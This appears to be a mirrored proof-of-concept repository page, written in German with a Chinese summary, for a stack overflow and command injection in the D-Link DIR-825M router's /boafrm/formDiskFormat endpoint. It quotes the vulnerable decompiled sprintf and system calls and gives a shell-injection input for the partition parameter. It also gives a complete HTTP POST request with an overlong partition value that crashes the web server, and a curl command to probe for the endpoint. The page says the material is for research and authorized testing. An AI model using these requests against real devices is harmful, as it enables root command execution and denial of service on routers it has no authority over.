hackspeak/cve-2026-82592Proof-of-concept-Exploit für einen Stack-Pufferüberlauf und eine Befehlsinjektion in /boafrm/formDiskFormat bei D-Link DIR-825M, die eine Remote-Codeausführung als Root auf Firmware v1.1.8 ermöglicht.
| Feld | Wert |
|---|---|
| Hersteller | D-Link |
| Produkt | D-Link DIR-825M (und andere Modelle, die dieselbe Firmware-Codebasis verwenden) |
| Betroffene Version | Firmware v1.1.8 |
| Schwachstellentyp | Stack-basierter Pufferüberlauf (CWE-121)、Befehlsinjektion (CWE-78) |
| Hersteller-Website | https://www.dlink.com/ |
Bei einer Sicherheitsüberprüfung der Router-Firmware wurde eine kritische Schwachstelle im Endpunkt /boafrm/formDiskFormat identifiziert.
Die Schwachstelle befindet sich in der Funktion sub_46725C, die die Partitionsformatierung verarbeitet. Die Funktion ruft den benutzergesteuerten Parameter partition aus der HTTP-POST-Anfrage ab. Ohne vorherige Bereinigung, Verifizierung oder Längenprüfung dieses Parameters führt das Programm mehrere unsichere Operationen aus:
sprintf, um den Parameter in einen kleinen lokalen Stack-Puffer v9 (mit nur 132 Bytes allokiert) zu formatieren.system(), um Systemdienstprogramme auszuführen.Ein Angreifer kann dies ausnutzen, indem er Shell-Metazeichen (wie ;, & oder |) in den Parameter partition injiziert, um beliebige Systembefehle mit Root-Rechten auszuführen, oder indem er eine übermäßig lange Zeichenfolge übergibt, um einen Stack-Pufferüberlauf auszulösen und den Kontrollfluss zu übernehmen.
/boafrm/formDiskFormat (oder ein ähnlicher Endpunkt zur Festplattenformatierung)sub_46725CDie Schwachstelle resultiert aus zwei gleichzeitigen Programmierfehlern: unsichere Zeichenfolgenformatierung und direkte Ausführung nicht validierter Eingaben in einer System-Shell.
Innerhalb von sub_46725C wird der Parameter partition abgerufen und in v2 gespeichert:
v2 = (const char *)sub_41351C(a1, "partition", "");
Wenn der Parameter nicht leer ist, konstruiert das Programm sofort einen Unmount-Befehl und führt ihn aus:
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);
Da v2 direkt in die Befehlszeichenfolge eingebettet wird, ohne Zeichen wie ; zu bereinigen, wird eine Eingabe von sda1;+sleep+5; wie folgt ausgeführt:
umount /dev/sda1; sleep 5; >/dev/null 2>&1
Dies löst direkt die Ausführung beliebiger Shell-Befehle aus.
Der lokale Puffer v9 wird auf dem Stack mit begrenzter Größe deklariert:
char v9[132];
Das Programm verwendet sprintf, um die Benutzereingabe in v9 zu kopieren:
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);
Da sprintf keine Grenzprüfung durchführt, schreibt ein partition-Parameter, der länger als ungefähr 90 Bytes ist, über die Grenze von v9 hinaus und überschreibt den Stack-Frame, einschließlich des gespeicherten Frame-Pointers und der Rücksprungadresse ($ra in MIPS/ARM).
Ein Angreifer kann diese Schwachstelle ausnutzen, um die folgenden Ergebnisse zu erzielen:
root) Rechten.Durch die Bereitstellung eines übermäßig großen partition-Parameters wird der Stack beschädigt, was zu einem Segmentation Fault führt und den Webserver-Daemon zum Absturz bringt.
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive
partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
本仓库为 CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 formDiskFormat.md)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
POST /boafrm/formDiskFormatpartition 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)核心原理:处理分区格式化的 sub_46725C 函数把用户可控的 partition 参数直接拼进两条命令——sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 $ra)与 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 等元字符原样进 shell)。
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded
partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。
reports/Dlink/formDiskFormat/)。LICENSE)。